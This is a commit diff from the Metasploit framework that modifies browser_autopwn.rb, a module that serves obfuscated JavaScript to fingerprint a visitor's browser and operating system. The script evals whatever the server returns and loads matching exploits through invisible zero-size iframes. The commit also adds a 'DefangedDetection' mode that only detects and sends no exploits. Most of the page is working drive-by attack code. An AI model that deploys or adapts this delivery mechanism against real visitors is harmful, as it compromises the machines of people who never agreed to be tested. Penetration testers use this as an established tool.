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metasploit-framework
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add defanged detection mode. hurray for demoing stuff i haven't committed yet 

git-svn-id: file:///home/svn/framework3/trunk@6940 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2009-08-06 05:56:24 +00:00
parent 1ceb752986
commit 4070c5653b
1 changed files with 144 additions and 114 deletions
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250
modules/auxiliary/server/browser_autopwn.rb
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@ -49,14 +49,15 @@ class Metasploit3 < Msf::Auxiliary
[ 'WebServer', {
'Description' => 'Start a bunch of modules and direct clients to appropriate exploits'
} ],
[ 'DefangedDetection', {
'Description' => 'Only perform detection, send no exploits'
} ],
[ 'list', {
'Description' => 'List the exploit modules that would be started'
} ]
],
'PassiveActions' =>
[
'WebServer'
],
[ 'WebServer', 'DefangedDetection' ],
'DefaultAction' => 'WebServer'))
register_options([
@ -95,6 +96,8 @@ class Metasploit3 < Msf::Auxiliary
end
print_line
print_status("Found #{@exploits.length} exploit modules")
elsif (action.name == 'DefangedDetection')
exploit()
else
start_exploit_modules()
if @exploits.length < 1
@ -106,6 +109,109 @@ class Metasploit3 < Msf::Auxiliary
end
def setup
init_js = ::Rex::Exploitation::ObfuscateJS.new
init_js << <<-ENDJS
#{js_os_detect}
#{js_base64}
function make_xhr() {
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
function report_and_get_exploits(detected_version) {
var encoded_detection;
xhr = make_xhr();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
};
encoded_detection = new String();
#{js_debug('navigator.userAgent+"<br><br>"')}
for (var prop in detected_version) {
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
encoded_detection += detected_version[prop] + ":";
}
#{js_debug('encoded_detection + "<br>"')}
encoded_detection = Base64.encode(encoded_detection);
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
xhr.send(null);
}
function bodyOnLoad() {
var detected_version = getVersion();
//#{js_debug('detected_version')}
report_and_get_exploits(detected_version);
} // function bodyOnLoad
ENDJS
opts = {
'Symbols' => {
'Variables' => [
'xhr',
'encoded_detection',
],
'Methods' => [
'report_and_get_exploits',
'handler',
'bodyOnLoad',
]
},
'Strings' => true,
}
init_js.update_opts(opts)
init_js.update_opts(js_os_detect.opts)
init_js.update_opts(js_base64.opts)
if (datastore['DEBUG'])
print_status("Adding debug code")
init_js << <<-ENDJS
if (!(typeof(debug) == 'function')) {
function htmlentities(str) {
str = str.replace(/>/g, '&gt;');
str = str.replace(/</g, '&lt;');
str = str.replace(/&/g, '&amp;');
return str;
}
function debug(msg) {
document.body.innerHTML += (msg + "<br />\\n");
}
}
ENDJS
else
init_js.obfuscate()
end
init_js << "window.onload = #{init_js.sym("bodyOnLoad")};";
@init_html = "<html > <head > <title > Loading </title>\n"
@init_html << '<script language="javascript" type="text/javascript">'
@init_html << "<!-- \n #{init_js} //-->"
@init_html << "</script> </head> "
@init_html << "<body onload=\"#{init_js.sym("bodyOnLoad")}()\"> "
@init_html << "<noscript> \n"
@init_html << build_iframe("#{self.get_resource}?ns=1")
@init_html << "</noscript> \n"
@init_html << "</body> </html> "
end
def init_exploit(name, mod = nil, targ = 0)
if mod.nil?
@exploits[name] = framework.modules.create(name)
@ -125,7 +231,6 @@ class Metasploit3 < Msf::Auxiliary
# For testing, set the exploit uri to the name of the exploit so it's
# easy to tell what is happening from the browser.
# XXX: Set to nil for release
if (datastore['DEBUG'])
@exploits[name].datastore['URIPATH'] = name
else
@ -158,6 +263,7 @@ class Metasploit3 < Msf::Auxiliary
return true
end
def start_exploit_modules()
@lhost = (datastore['LHOST'] || "0.0.0.0")
@ -227,104 +333,6 @@ class Metasploit3 < Msf::Auxiliary
tests.sort! {|a,b| b[:rank] <=> a[:rank]}
}
init_js = ::Rex::Exploitation::ObfuscateJS.new
init_js << <<-ENDJS
#{js_os_detect}
#{js_base64}
function make_xhr() {
var xhr;
try {
xhr = new XMLHttpRequest();
} catch(e) {
try {
xhr = new ActiveXObject("Microsoft.XMLHTTP");
} catch(e) {
xhr = new ActiveXObject("MSXML2.ServerXMLHTTP");
}
}
if (! xhr) {
throw "failed to create XMLHttpRequest";
}
return xhr;
}
function report_and_get_exploits(detected_version) {
var encoded_detection;
xhr = make_xhr();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && (xhr.status == 200 || xhr.status == 304)) {
eval(xhr.responseText);
}
};
encoded_detection = new String();
#{js_debug('navigator.userAgent+"<br>"')}
for (var prop in detected_version) {
#{js_debug('prop + " " + detected_version[prop] +"<br>"')}
encoded_detection += detected_version[prop] + ":";
}
#{js_debug('encoded_detection + "<br>"')}
encoded_detection = Base64.encode(encoded_detection);
xhr.open("GET", document.location + "?sessid=" + encoded_detection);
xhr.send(null);
}
function bodyOnLoad() {
var detected_version = getVersion();
//#{js_debug('detected_version')}
report_and_get_exploits(detected_version);
} // function bodyOnLoad
ENDJS
opts = {
'Symbols' => {
'Variables' => [
'xhr',
'encoded_detection',
],
'Methods' => [
'report_and_get_exploits',
'handler',
'bodyOnLoad',
]
},
'Strings' => true,
}
init_js.update_opts(opts)
init_js.update_opts(js_os_detect.opts)
init_js.update_opts(js_base64.opts)
if (datastore['DEBUG'])
print_status("Adding debug code")
init_js << <<-ENDJS
if (!(typeof(debug) == 'function')) {
function htmlentities(str) {
str = str.replace(/>/g, '&gt;');
str = str.replace(/</g, '&lt;');
str = str.replace(/&/g, '&amp;');
return str;
}
function debug(msg) {
document.body.innerHTML += (msg + "<br />\\n");
}
}
ENDJS
else
init_js.obfuscate()
end
init_js << "window.onload = #{init_js.sym("bodyOnLoad")}";
@init_html = "<html > <head > <title > Loading </title>\n"
@init_html << '<script language="javascript" type="text/javascript">'
@init_html << "<!-- \n #{init_js} //-->"
@init_html << "</script> </head> "
@init_html << "<body onload=\"#{init_js.sym("bodyOnLoad")}()\"> "
@init_html << "<noscript> \n"
@init_html << build_iframe("#{self.get_resource}?ns=1")
@init_html << "</noscript> \n"
@init_html << "</body> </html> "
end
def on_request_uri(cli, request)
@ -346,8 +354,16 @@ class Metasploit3 < Msf::Auxiliary
# enabled. Includes the results of the javascript fingerprinting
# in the "sessid" parameter as a base64 encoded string.
record_detection(cli, request)
if (action.name == "DefangedDetection")
#print_status("")
response = create_response()
response["Expires"] = "0"
response["Cache-Control"] = "must-revalidate"
response.body = "Your mom"
else
print_status("Responding with exploits")
response = build_script_response(cli, request)
end
cli.send_response(response)
when %r{^#{self.get_resource}.*ns=1}
@ -415,14 +431,15 @@ class Metasploit3 < Msf::Auxiliary
host_info = get_host(cli.peerhost)
js = ::Rex::Exploitation::ObfuscateJS.new
# If we didn't get a client database, then the detection is
# borked or the db is not connected, so fallback to sending
# some IE-specific stuff with everything. Otherwise, make
# sure this is IE before sending code for ActiveX checks.
# If we didn't get a client from the database, then the detection
# is borked or the db is not connected, so fallback to sending
# some IE-specific stuff with everything. Do the same if the
# exploit didn't specify a client. Otherwise, make sure this is
# IE before sending code for ActiveX checks.
if (client_info.nil? || [nil, HttpClients::IE].include?(client_info[:ua_name]))
# If we have a class name (e.g.: "DirectAnimation.PathControl"),
# use the simple and direct "new ActiveXObject()". If we
# have a classid instead, first try creating a the object
# have a classid instead, first try creating the object
# with createElement("object"). However, some things
# don't like being created this way (specifically winzip),
# so try writing out an object tag as well. One of these
@ -462,6 +479,7 @@ class Metasploit3 < Msf::Auxiliary
ENDJS
# End of IE-specific test functions
end
# Generic stuff that is needed regardless of what browser was detected.
js << <<-ENDJS
var written_iframes = new Array();
function write_iframe(myframe) {
@ -496,12 +514,15 @@ class Metasploit3 < Msf::Auxiliary
@js_tests.each { |browser, sploits|
next if sploits.length == 0
#print_status("#{client_info[:ua_name]} =? [nil, #{browser}, 'generic']")
#if (browser == "generic" || client_info.nil? || [nil, browser].include?(client_info[:ua_name]))
if (client_info.nil? || [nil, browser, "generic"].include?(client_info[:ua_name]))
# Make sure the browser names can be used as an identifier in
# case something wacky happens to them.
func_name = "exploit#{browser.gsub(/[^a-zA-Z]/, '')}"
js << "function #{func_name}() { \n"
sploits.map do |s|
# Skip exploits that don't match the client's OS.
if (host_info and host_info[:os_name] and s[:os_name])
next unless s[:os_name].include?(host_info[:os_name])
end
@ -517,6 +538,9 @@ class Metasploit3 < Msf::Auxiliary
js << " write_iframe('" + exploit_resource(s[:name]) + "'); "
js << " }\n"
else
# If the exploit doesn't provide a way to check
# for the vulnerability, just try it and hope for
# the best.
js << " write_iframe('" + exploit_resource(s[:name]) + "');\n"
end
end
@ -589,7 +613,7 @@ class Metasploit3 < Msf::Auxiliary
# If the database is not connected, use a cache instead.
# This is less reliable because we're not treating different user
# agents from the same IP as a different hosts.
# agents from the same IP as different hosts.
if (!get_client(cli.peerhost, request['User-Agent']))
print_status("No database, using targetcache instead")
@targetcache ||= {}
@ -615,16 +639,22 @@ class Metasploit3 < Msf::Auxiliary
end
# Override super#get_client to use a cache in case the database
# is not available
# is not available. It might be a good idea to do this by default,
# essentially creating an in-memory database. The upside is that it works
# if the database is broken. The downside of course is that querying from
# a hash is not as simple or efficient as a database.
def get_client(host, ua)
return super(host, ua) || @targetcache[host]
end
def build_iframe(resource)
ret = ''
#ret << "<p>iframe #{resource}</p>"
if (action.name == 'DefangedDetection')
ret << "<p>iframe #{resource}</p>"
else
ret << "<iframe src=\"#{resource}\" style=\"visibility:hidden\" height=\"0\" width=\"0\" border=\"0\"></iframe>"
#ret << "<iframe src=\"#{resource}\" ></iframe>"
end
return ret
end